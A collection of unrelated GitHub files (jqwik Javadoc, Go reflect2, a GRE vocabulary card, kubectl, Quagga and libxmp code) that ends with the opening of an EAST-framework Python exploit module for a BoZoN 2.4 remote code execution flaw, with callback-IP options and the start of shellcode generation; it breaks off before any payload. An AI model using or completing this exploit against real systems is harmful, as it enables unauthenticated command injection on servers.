<li>Constr | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">net.jqwik.api</div>
<h2 title="Class Assume" class="title">Class Assume</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li>java.lang.Object</li>
<li>
<ul class="inheritance">
<li>net.jqwik.api.Assume</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<hr>
<br>
<pre>@API(status=STABLE,
since="1.0")
public class <span class="typeNameLabel">Assume</span>
extends java.lang.Object</pre>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method.summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd"> </span></span><span id="t1" class="tableTab"><span><a href="javascript:show(1);">Static Methods</a></span><span class="tabEnd"> </span></span><span id="t4" class="tableTab"><span><a href="javascript:show(8);">Concrete Methods</a></span><span class="tabEnd"> </span></span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr id="i0" class="altColor">
<td class="colFirst"><code>static void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../net/jqwik/api/Assume.html#that-boolean-">that</a></span>(boolean condition)</code>
<div class="block">If condition does not hold, the current property method will be aborted,
i.e., it will not be executed but not counted as a try.</div>
</td>
</tr>
<tr id="i1" class="rowColor">
<td class="colFirst"><code>static void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../net/jqwik/api/Assume.html#that-java.util.function.Supplier-">that</a></span>(java.util.function.Supplier<java.lang.Boolean> conditionSupplier)</code>
<div class="block">If condition provided by conditionSupplier does not hold, the current property method will be aborted,
i.e., it will not be executed but not counted as a try.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Object</h3>
<code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method.detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="that-boolean-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>that</h4>
<pre>public static void that(boolean condition)</pre>
<div class="block">If condition does not hold, the current property method will be aborted,
i.e., it will not be executed but not counted as a try.
<p>
Assumptions are typically positioned at the beginning of a property method.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>condition</code> - Condition to make the assumption true</dd>
</dl>
</li>
</ul>
<a name="that-java.util.function.Supplier-">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>that</h4>
<pre>public static void that(java.util.function.Supplier<java.lang.Boolean> conditionSupplier)</pre>
<div class="block">If condition provided by conditionSupplier does not hold, the current property method will be aborted,
i.e., it will not be executed but not counted as a try.
<p>
Assumptions are typically positioned at the beginning of a property method.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>conditionSupplier</code> - supplier for condition to make assumption true</dd>
</dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../index-all.html">Index</a></li>
<li><a href="../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../net/jqwik/api/Arbitrary.ArbitraryFacade.html" title="class in net.jqwik.api"><span class="typeNameLink">Prev Class</span></a></li>
<li><a href="../../../net/jqwik/api/CannotFindArbitraryException.html" title="class in net.jqwik.api"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../index.html?net/jqwik/api/Assume.html" target="_top">Frames</a></li>
<li><a href="Assume.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
package reflect2
import (
"github.com/modern-go/concurrent"
"reflect"
"unsafe"
)
type Type interface {
Kind() reflect.Kind
// New return pointer to data of this type
New() interface{}
// UnsafeNew return the allocated space pointed by unsafe.Pointer
UnsafeNew() unsafe.Pointer
// PackEFace cast a unsafe pointer to object represented pointer
PackEFace(ptr unsafe.Pointer) interface{}
// Indirect dereference object represented pointer to this type
Indirect(obj interface{}) interface{}
// UnsafeIndirect dereference pointer to this type
UnsafeIndirect(ptr unsafe.Pointer) interface{}
// Type1 returns reflect.Type
Type1() reflect.Type
Implements(thatType Type) bool
String() string
RType() uintptr
// interface{} of this type has pointer like behavior
LikePtr() bool
IsNullable() bool
IsNil(obj interface{}) bool
UnsafeIsNil(ptr unsafe.Pointer) bool
Set(obj interface{}, val interface{})
UnsafeSet(ptr unsafe.Pointer, val unsafe.Pointer)
AssignableTo(anotherType Type) bool
}
type ListType interface {
Type
Elem() Type
SetIndex(obj interface{}, index int, elem interface{})
UnsafeSetIndex(obj unsafe.Pointer, index int, elem unsafe.Pointer)
GetIndex(obj interface{}, index int) interface{}
UnsafeGetIndex(obj unsafe.Pointer, index int) unsafe.Pointer
}
type ArrayType interface {
ListType
Len() int
}
type SliceType interface {
ListType
MakeSlice(length int, cap int) interface{}
UnsafeMakeSlice(length int, cap int) unsafe.Pointer
Grow(obj interface{}, newLength int)
UnsafeGrow(ptr unsafe.Pointer, newLength int)
Append(obj interface{}, elem interface{})
UnsafeAppend(obj unsafe.Pointer, elem unsafe.Pointer)
LengthOf(obj interface{}) int
UnsafeLengthOf(ptr unsafe.Pointer) int
SetNil(obj interface{})
UnsafeSetNil(ptr unsafe.Pointer)
Cap(obj interface{}) int
UnsafeCap(ptr unsafe.Pointer) int
}
type StructType interface {
Type
NumField() int
Field(i int) StructField
FieldByName(name string) StructField
FieldByIndex(index []int) StructField
FieldByNameFunc(match func(string) bool) StructField
}
type StructField interface {
Offset() uintptr
Name() string
PkgPath() string
Type() Type
Tag() reflect.StructTag
Index() []int
Anonymous() bool
Set(obj interface{}, value interface{})
UnsafeSet(obj unsafe.Pointer, value unsafe.Pointer)
Get(obj interface{}) interface{}
UnsafeGet(obj unsafe.Pointer) unsafe.Pointer
}
type MapType interface {
Type
Key() Type
Elem() Type
MakeMap(cap int) interface{}
UnsafeMakeMap(cap int) unsafe.Pointer
SetIndex(obj interface{}, key interface{}, elem interface{})
UnsafeSetIndex(obj unsafe.Pointer, key unsafe.Pointer, elem unsafe.Pointer)
TryGetIndex(obj interface{}, key interface{}) (interface{}, bool)
GetIndex(obj interface{}, key interface{}) interface{}
UnsafeGetIndex(obj unsafe.Pointer, key unsafe.Pointer) unsafe.Pointer
Iterate(obj interface{}) MapIterator
UnsafeIterate(obj unsafe.Pointer) MapIterator
}
type MapIterator interface {
HasNext() bool
Next() (key interface{}, elem interface{})
UnsafeNext() (key unsafe.Pointer, elem unsafe.Pointer)
}
type PtrType interface {
Type
Elem() Type
}
type InterfaceType interface {
NumMethod() int
}
type Config struct {
UseSafeImplementation bool
}
type API interface {
TypeOf(obj interface{}) Type
Type2(type1 reflect.Type) Type
}
var ConfigUnsafe = Config{UseSafeImplementation: false}.Froze()
var ConfigSafe = Config{UseSafeImplementation: true}.Froze()
type frozenConfig struct {
useSafeImplementation bool
cache *concurrent.Map
}
func (cfg Config) Froze() *frozenConfig {
return &frozenConfig{
useSafeImplementation: cfg.UseSafeImplementation,
cache: concurrent.NewMap(),
}
}
func (cfg *frozenConfig) TypeOf(obj interface{}) Type {
cacheKey := uintptr(unpackEFace(obj).rtype)
typeObj, found := cfg.cache.Load(cacheKey)
if found {
return typeObj.(Type)
}
return cfg.Type2(reflect.TypeOf(obj))
}
func (cfg *frozenConfig) Type2(type1 reflect.Type) Type {
if type1 == nil {
return nil
}
cacheKey := uintptr(unpackEFace(type1).data)
typeObj, found := cfg.cache.Load(cacheKey)
if found {
return typeObj.(Type)
}
type2 := cfg.wrapType(type1)
cfg.cache.Store(cacheKey, type2)
return type2
}
func (cfg *frozenConfig) wrapType(type1 reflect.Type) Type {
safeType := safeType{Type: type1, cfg: cfg}
switch type1.Kind() {
case reflect.Struct:
if cfg.useSafeImplementation {
return &safeStructType{safeType}
}
return newUnsafeStructType(cfg, type1)
case reflect.Array:
if cfg.useSafeImplementation {
return &safeSliceType{safeType}
}
return newUnsafeArrayType(cfg, type1)
case reflect.Slice:
if cfg.useSafeImplementation {
return &safeSliceType{safeType}
}
return newUnsafeSliceType(cfg, type1)
case reflect.Map:
if cfg.useSafeImplementation {
return &safeMapType{safeType}
}
return newUnsafeMapType(cfg, type1)
case reflect.Ptr, reflect.Chan, reflect.Func:
if cfg.useSafeImplementation {
return &safeMapType{safeType}
}
return newUnsafePtrType(cfg, type1)
case reflect.Interface:
if cfg.useSafeImplementation {
return &safeMapType{safeType}
}
if type1.NumMethod() == 0 {
return newUnsafeEFaceType(cfg, type1)
}
return newUnsafeIFaceType(cfg, type1)
default:
if cfg.useSafeImplementation {
return &safeType
}
return newUnsafeType(cfg, type1)
}
}
func TypeOf(obj interface{}) Type {
return ConfigUnsafe.TypeOf(obj)
}
func TypeOfPtr(obj interface{}) PtrType {
return TypeOf(obj).(PtrType)
}
func Type2(type1 reflect.Type) Type {
if type1 == nil {
return nil
}
return ConfigUnsafe.Type2(type1)
}
func PtrTo(typ Type) Type {
return Type2(reflect.PtrTo(typ.Type1()))
}
func PtrOf(obj interface{}) unsafe.Pointer {
return unpackEFace(obj).data
}
func RTypeOf(obj interface{}) uintptr {
return uintptr(unpackEFace(obj).rtype)
}
func IsNil(obj interface{}) bool {
if obj == nil {
return true
}
return unpackEFace(obj).data == nil
}
func IsNullable(kind reflect.Kind) bool {
switch kind {
case reflect.Ptr, reflect.Map, reflect.Chan, reflect.Func, reflect.Slice, reflect.Interface:
return true
}
return false
}
func likePtrKind(kind reflect.Kind) bool {
switch kind {
case reflect.Ptr, reflect.Map, reflect.Chan, reflect.Func:
return true
}
return false
}
func likePtrType(typ reflect.Type) bool {
if likePtrKind(typ.Kind()) {
return true
}
if typ.Kind() == reflect.Struct {
if typ.NumField() != 1 {
return false
}
return likePtrType(typ.Field(0).Type)
}
if typ.Kind() == reflect.Array {
if typ.Len() != 1 {
return false
}
return likePtrType(typ.Elem())
}
return false
}
// NoEscape hides a pointer from escape analysis. noescape is
// the identity function but escape analysis doesn't think the
// output depends on the input. noescape is inlined and currently
// compiles down to zero instructions.
// USE CAREFULLY!
//go:nosplit
func NoEscape(p unsafe.Pointer) unsafe.Pointer {
x := uintptr(p)
return unsafe.Pointer(x ^ 0)
}
func UnsafeCastString(str string) []byte {
stringHeader := (*reflect.StringHeader)(unsafe.Pointer(&str))
sliceHeader := &reflect.SliceHeader{
Data: stringHeader.Data,
Cap: stringHeader.Len,
Len: stringHeader.Len,
}
return *(*[]byte)(unsafe.Pointer(sliceHeader))
}
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<item xmlns="http://www.supermemo.net/2006/smux">
<lesson-title>GRE词汇:《再要你命三千》</lesson-title>
<chapter-title>List 4</chapter-title>
<question-title>根据单词,回想词义</question-title>
<question><span style="font-family: Comic Sans MS; font-weight: normal; color: #550000; font-style: normal">circumlocution</span><br />
<span style="font-family: 微软雅黑; font-weight: normal; color: #000000; font-style: normal"><span style="color: #550000;">[,sɜːkəmlə'kjuːʃ(ə)n]</span></span><br />
</question>
<answer>【考法 1】 n. 绕圈子的说话:the use of unnecessarily wordy and indirect language, evasion in speech<br />
【例】The other son of your parents’ is a circumlocution for your brother. 你父母的其他儿子是你兄弟的绕圈子的说法。<br />
【近】equivocation[i,kwivə'keiʃən], shuffle, tergiversation<br />
【反】pithy utters, straightforward utter , express succinctly简洁地表达;direct encounter 直接面对<br />
【派】circumlocutory a. 绕圈子的<br />
【反】direct 直接的<br />
<br />
【考法 2】 n. 冗长:the use of too many words to express an idea<br />
【例】your papers have to be five pages long, but that's five pages of substance, not circumlocution. <span style=""><br />
</span>【近】 diffuseness, diffusion, long-windedness, prolixity, redundancy, verbalism, verboseness, verbosity, windiness, wordage, wordiness<br />
【反】conciseness, concision, pithiness, succinctness, terseness 简洁<br />
<br />
【记】 locution 说,惯用语,说话风格<br />
【另】 allocution 正式演讲,circumlocution 迂回的说,elocution 演说术,interlocutory对话的<br />
,locution 惯用语,说话风格<br />
<br />
<br />
</answer>
<modified>2015-08-05</modified>
<template-id>10004</template-id>
<question-audio>true</question-audio>
</item>
|
{
"pile_set_name": "Github"
}
|
/*
Copyright 2017 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package set
import (
"errors"
"fmt"
"io"
"github.com/spf13/cobra"
"k8s.io/api/core/v1"
"k8s.io/apimachinery/pkg/api/meta"
"k8s.io/apimachinery/pkg/runtime"
"k8s.io/apimachinery/pkg/types"
utilerrors "k8s.io/apimachinery/pkg/util/errors"
"k8s.io/kubernetes/pkg/kubectl/cmd/templates"
cmdutil "k8s.io/kubernetes/pkg/kubectl/cmd/util"
"k8s.io/kubernetes/pkg/kubectl/resource"
"k8s.io/kubernetes/pkg/kubectl/util/i18n"
)
var (
serviceaccountResources = `
replicationcontroller (rc), deployment (deploy), daemonset (ds), job, replicaset (rs), statefulset`
serviceaccountLong = templates.LongDesc(i18n.T(`
Update ServiceAccount of pod template resources.
Possible resources (case insensitive) can be:
` + serviceaccountResources))
serviceaccountExample = templates.Examples(i18n.T(`
# Set Deployment nginx-deployment's ServiceAccount to serviceaccount1
kubectl set serviceaccount deployment nginx-deployment serviceaccount1
# Print the result (in yaml format) of updated nginx deployment with serviceaccount from local file, without hitting apiserver
kubectl set sa -f nginx-deployment.yaml serviceaccount1 --local --dry-run -o yaml
`))
)
// serviceAccountConfig encapsulates the data required to perform the operation.
type serviceAccountConfig struct {
fileNameOptions resource.FilenameOptions
mapper meta.RESTMapper
encoder runtime.Encoder
out io.Writer
err io.Writer
dryRun bool
cmd *cobra.Command
shortOutput bool
all bool
record bool
output string
changeCause string
local bool
PrintObject func(cmd *cobra.Command, isLocal bool, mapper meta.RESTMapper, obj runtime.Object, out io.Writer) error
updatePodSpecForObject func(runtime.Object, func(*v1.PodSpec) error) (bool, error)
printSuccess func(mapper meta.RESTMapper, shortOutput bool, out io.Writer, resource, name string, dryRun bool, operation string)
infos []*resource.Info
serviceAccountName string
}
// NewCmdServiceAccount returns the "set serviceaccount" command.
func NewCmdServiceAccount(f cmdutil.Factory, out, err io.Writer) *cobra.Command {
saConfig := &serviceAccountConfig{
out: out,
err: err,
}
cmd := &cobra.Command{
Use: "serviceaccount (-f FILENAME | TYPE NAME) SERVICE_ACCOUNT",
DisableFlagsInUseLine: true,
Aliases: []string{"sa"},
Short: i18n.T("Update ServiceAccount of a resource"),
Long: serviceaccountLong,
Example: serviceaccountExample,
Run: func(cmd *cobra.Command, args []string) {
cmdutil.CheckErr(saConfig.Complete(f, cmd, args))
cmdutil.CheckErr(saConfig.Run())
},
}
cmdutil.AddPrinterFlags(cmd)
usage := "identifying the resource to get from a server."
cmdutil.AddFilenameOptionFlags(cmd, &saConfig.fileNameOptions, usage)
cmd.Flags().BoolVar(&saConfig.all, "all", false, "Select all resources, including uninitialized ones, in the namespace of the specified resource types")
cmd.Flags().BoolVar(&saConfig.local, "local", false, "If true, set serviceaccount will NOT contact api-server but run locally.")
cmdutil.AddRecordFlag(cmd)
cmdutil.AddDryRunFlag(cmd)
cmdutil.AddIncludeUninitializedFlag(cmd)
return cmd
}
// Complete configures serviceAccountConfig from command line args.
func (saConfig *serviceAccountConfig) Complete(f cmdutil.Factory, cmd *cobra.Command, args []string) error {
saConfig.mapper, _ = f.Object()
saConfig.encoder = f.JSONEncoder()
saConfig.shortOutput = cmdutil.GetFlagString(cmd, "output") == "name"
saConfig.record = cmdutil.GetRecordFlag(cmd)
saConfig.changeCause = f.Command(cmd, false)
saConfig.dryRun = cmdutil.GetDryRunFlag(cmd)
saConfig.output = cmdutil.GetFlagString(cmd, "output")
saConfig.updatePodSpecForObject = f.UpdatePodSpecForObject
saConfig.PrintObject = f.PrintObject
saConfig.cmd = cmd
saConfig.printSuccess = f.PrintSuccess
cmdNamespace, enforceNamespace, err := f.DefaultNamespace()
if err != nil {
return err
}
if len(args) == 0 {
return errors.New("serviceaccount is required")
}
saConfig.serviceAccountName = args[len(args)-1]
resources := args[:len(args)-1]
includeUninitialized := cmdutil.ShouldIncludeUninitialized(cmd, false)
builder := f.NewBuilder().
Internal().
LocalParam(saConfig.local).
ContinueOnError().
NamespaceParam(cmdNamespace).DefaultNamespace().
FilenameParam(enforceNamespace, &saConfig.fileNameOptions).
IncludeUninitialized(includeUninitialized).
Flatten()
if !saConfig.local {
builder.ResourceTypeOrNameArgs(saConfig.all, resources...).
Latest()
}
saConfig.infos, err = builder.Do().Infos()
if err != nil {
return err
}
return nil
}
// Run creates and applies the patch either locally or calling apiserver.
func (saConfig *serviceAccountConfig) Run() error {
patchErrs := []error{}
patchFn := func(info *resource.Info) ([]byte, error) {
info.Object = info.AsVersioned()
saConfig.updatePodSpecForObject(info.Object, func(podSpec *v1.PodSpec) error {
podSpec.ServiceAccountName = saConfig.serviceAccountName
return nil
})
return runtime.Encode(saConfig.encoder, info.Object)
}
patches := CalculatePatches(saConfig.infos, saConfig.encoder, patchFn)
for _, patch := range patches {
info := patch.Info
if patch.Err != nil {
patchErrs = append(patchErrs, fmt.Errorf("error: %s/%s %v\n", info.Mapping.Resource, info.Name, patch.Err))
continue
}
if saConfig.local || saConfig.dryRun {
if err := saConfig.PrintObject(saConfig.cmd, saConfig.local, saConfig.mapper, patch.Info.AsVersioned(), saConfig.out); err != nil {
return err
}
continue
}
patched, err := resource.NewHelper(info.Client, info.Mapping).Patch(info.Namespace, info.Name, types.StrategicMergePatchType, patch.Patch)
if err != nil {
patchErrs = append(patchErrs, fmt.Errorf("failed to patch ServiceAccountName %v", err))
continue
}
info.Refresh(patched, true)
if saConfig.record || cmdutil.ContainsChangeCause(info) {
if patch, patchType, err := cmdutil.ChangeResourcePatch(info, saConfig.changeCause); err == nil {
if patched, err = resource.NewHelper(info.Client, info.Mapping).Patch(info.Namespace, info.Name, patchType, patch); err != nil {
fmt.Fprintf(saConfig.err, "WARNING: changes to %s/%s can't be recorded: %v\n", info.Mapping.Resource, info.Name, err)
}
}
}
if len(saConfig.output) > 0 {
if err := saConfig.PrintObject(saConfig.cmd, saConfig.local, saConfig.mapper, info.AsVersioned(), saConfig.out); err != nil {
return err
}
continue
}
saConfig.printSuccess(saConfig.mapper, saConfig.shortOutput, saConfig.out, info.Mapping.Resource, info.Name, saConfig.dryRun, "serviceaccount updated")
}
return utilerrors.NewAggregate(patchErrs)
}
|
{
"pile_set_name": "Github"
}
|
/*
PIM for Quagga
Copyright (C) 2008 Everton da Silva Marques
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; see the file COPYING; if not, write to the
Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
MA 02110-1301 USA
$QuaggaId: $Format:%an, %ai, %h$ $
*/
#include <zebra.h>
#include <string.h>
#include <sys/time.h>
#include <time.h>
#include "log.h"
#include "thread.h"
#include "pim_time.h"
static int gettime_monotonic(struct timeval *tv)
{
int result;
result = gettimeofday(tv, 0);
if (result) {
zlog_err("%s: gettimeofday() failure: errno=%d: %s",
__PRETTY_FUNCTION__,
errno, safe_strerror(errno));
}
return result;
}
/*
pim_time_monotonic_sec():
number of seconds since some unspecified starting point
*/
int64_t pim_time_monotonic_sec()
{
struct timeval now_tv;
if (gettime_monotonic(&now_tv)) {
zlog_err("%s: gettime_monotonic() failure: errno=%d: %s",
__PRETTY_FUNCTION__,
errno, safe_strerror(errno));
return -1;
}
return now_tv.tv_sec;
}
/*
pim_time_monotonic_dsec():
number of deciseconds since some unspecified starting point
*/
int64_t pim_time_monotonic_dsec()
{
struct timeval now_tv;
int64_t now_dsec;
if (gettime_monotonic(&now_tv)) {
zlog_err("%s: gettime_monotonic() failure: errno=%d: %s",
__PRETTY_FUNCTION__,
errno, safe_strerror(errno));
return -1;
}
now_dsec = ((int64_t) now_tv.tv_sec) * 10 + ((int64_t) now_tv.tv_usec) / 100000;
return now_dsec;
}
int pim_time_mmss(char *buf, int buf_size, long sec)
{
long mm;
int wr;
zassert(buf_size >= 5);
mm = sec / 60;
sec %= 60;
wr = snprintf(buf, buf_size, "%02ld:%02ld", mm, sec);
return wr != 8;
}
static int pim_time_hhmmss(char *buf, int buf_size, long sec)
{
long hh;
long mm;
int wr;
zassert(buf_size >= 8);
hh = sec / 3600;
sec %= 3600;
mm = sec / 60;
sec %= 60;
wr = snprintf(buf, buf_size, "%02ld:%02ld:%02ld", hh, mm, sec);
return wr != 8;
}
void pim_time_timer_to_mmss(char *buf, int buf_size, struct thread *t_timer)
{
if (t_timer) {
pim_time_mmss(buf, buf_size,
thread_timer_remain_second(t_timer));
}
else {
snprintf(buf, buf_size, "--:--");
}
}
void pim_time_timer_to_hhmmss(char *buf, int buf_size, struct thread *t_timer)
{
if (t_timer) {
pim_time_hhmmss(buf, buf_size,
thread_timer_remain_second(t_timer));
}
else {
snprintf(buf, buf_size, "--:--:--");
}
}
void pim_time_uptime(char *buf, int buf_size, int64_t uptime_sec)
{
zassert(buf_size >= 8);
pim_time_hhmmss(buf, buf_size, uptime_sec);
}
void pim_time_uptime_begin(char *buf, int buf_size, int64_t now, int64_t begin)
{
if (begin > 0)
pim_time_uptime(buf, buf_size, now - begin);
else
snprintf(buf, buf_size, "--:--:--");
}
long pim_time_timer_remain_msec(struct thread *t_timer)
{
/* FIXME: Actually fetch msec resolution from thread */
/* no timer thread running means timer has expired: return 0 */
return t_timer ?
1000 * thread_timer_remain_second(t_timer) :
0;
}
|
{
"pile_set_name": "Github"
}
|
/* Extended Module Player
* Copyright (C) 1996-2018 Claudio Matsuoka and Hipolito Carraro Jr
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#ifdef __SUNPRO_C
#pragma error_messages (off,E_EMPTY_TRANSLATION_UNIT)
#endif
#ifndef LIBXMP_CORE_PLAYER
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#include <unistd.h>
#ifdef HAVE_UMASK
#include <sys/stat.h>
#endif
#include "tempfile.h"
#ifdef _WIN32
int mkstemp(char *);
static int get_temp_dir(char *buf, size_t size)
{
static const char def[] = "C:\\WINDOWS\\TEMP";
const char *tmp = getenv("TEMP");
snprintf(buf, size, "%s\\", (tmp != NULL)? tmp : def);
return 0;
}
#elif defined(__OS2__)
static int get_temp_dir(char *buf, size_t size)
{
static const char def[] = "C:";
const char *tmp = getenv("TMP");
snprintf(buf, size, "%s\\", (tmp != NULL)? tmp : def);
return 0;
}
#elif defined(__MSDOS__)
static int get_temp_dir(char *buf, size_t size)
{
strcpy(buf, "C:\\"); /* size-safe against PATH_MAX */
return 0;
}
#elif defined __AMIGA__
static int get_temp_dir(char *buf, size_t size)
{
strcpy(buf, "T:"); /* size-safe against PATH_MAX */
return 0;
}
#elif defined __ANDROID__
#include <sys/types.h>
#include <sys/stat.h>
static int get_temp_dir(char *buf, size_t size)
{
#define APPDIR "/sdcard/Xmp for Android"
struct stat st;
if (stat(APPDIR, &st) < 0) {
if (mkdir(APPDIR, 0777) < 0)
return -1;
}
if (stat(APPDIR "/tmp", &st) < 0) {
if (mkdir(APPDIR "/tmp", 0777) < 0)
return -1;
}
strncpy(buf, APPDIR "/tmp/", size);
return 0;
}
#else /* unix */
static int get_temp_dir(char *buf, size_t size)
{
const char *tmp = getenv("TMPDIR");
if (tmp) {
snprintf(buf, size, "%s/", tmp);
} else {
strncpy(buf, "/tmp/", size);
}
return 0;
}
#endif
FILE *make_temp_file(char **filename) {
char tmp[PATH_MAX];
FILE *temp;
int fd;
if (get_temp_dir(tmp, PATH_MAX) < 0)
return NULL;
strncat(tmp, "xmp_XXXXXX", PATH_MAX - 10);
if ((*filename = strdup(tmp)) == NULL)
goto err;
#ifdef HAVE_UMASK
umask(0177);
#endif
if ((fd = mkstemp(*filename)) < 0)
goto err2;
if ((temp = fdopen(fd, "w+b")) == NULL)
goto err3;
return temp;
err3:
close(fd);
err2:
free(*filename);
err:
return NULL;
}
/*
* Windows doesn't allow you to unlink an open file, so we changed the
* temp file cleanup system to remove temporary files after we close it
*/
void unlink_temp_file(char *temp)
{
if (temp) {
unlink(temp);
free(temp);
}
}
#endif
|
{
"pile_set_name": "Github"
}
|
#! /usr/bin/env python
# -*- coding: utf_8 -*-
# The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution
import sys
import os
import time
import base64
import urllib
import urllib2
from collections import OrderedDict
sys.path.append('./core')
sys.path.append('./shellcodes')
import ShellUtils
import Shellcodes
from Sploit import Sploit
INFO = {}
INFO['NAME'] = "efa_bozon_rce"
INFO['DESCRIPTION'] = "BoZoN 2.4 - Remote Code Execution"
INFO['VENDOR'] = "http://bozon.pw/en/"
INFO['DOWNLOAD_LINK'] = 'https://www.exploit-db.com/apps/8c2e068b0a6c01ab4281266b4f370579-BoZoN-master.zip'
INFO['LINKS'] = ['https://www.exploit-db.com/exploits/41084/']
INFO["CVE Name"] = "?"
INFO["NOTES"] = """A Bozon vulnerability allows unauthenticated attackers to add arbitrary users and inject system commands to the "auto_restrict_users.php" file of the Bozon web interface."""
INFO['CHANGELOG'] = "18 Jan, 2016. Written by Gleg team."
INFO['PATH'] = 'Exploits/Web/'
# Must be in every module, to be set by framework
OPTIONS = OrderedDict()
OPTIONS["HOST"] = "127.0.0.1", dict(description = 'Target IP')
OPTIONS["PORT"] = 80, dict(description = 'Target port')
OPTIONS["BASEPATH"] = '/bozon', dict(description = 'Basepath')
OPTIONS["CALLBACK_IP"] = "127.0.0.1", dict(description = 'Callback IP')
class exploit(Sploit):
def __init__(self, host = "", port = 0, logger = None):
Sploit.__init__(self, logger = logger)
self.name = INFO['NAME']
self.host = host
self.port = port
self.basepath = OPTIONS["BASEPATH"]
self.callback_ip = ''
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', self.host)
self.port = int(self.args.get('PORT', self.port))
self.basepath = self.args.get('BASEPATH', self.basepath)
self.callback_ip = self.args.get('CALLBACK_IP', OPTIONS["CALLBACK_IP"])
def make_url(self, path = ''):
return 'http://{}:{}{}{}'.format(self.host, self.port, self.basepath, path)
def make_sploit(self):
self.log("[>] Generate shellcode started")
if self.args['listener']:
port = self.args['listener']['PORT']
else:
return None
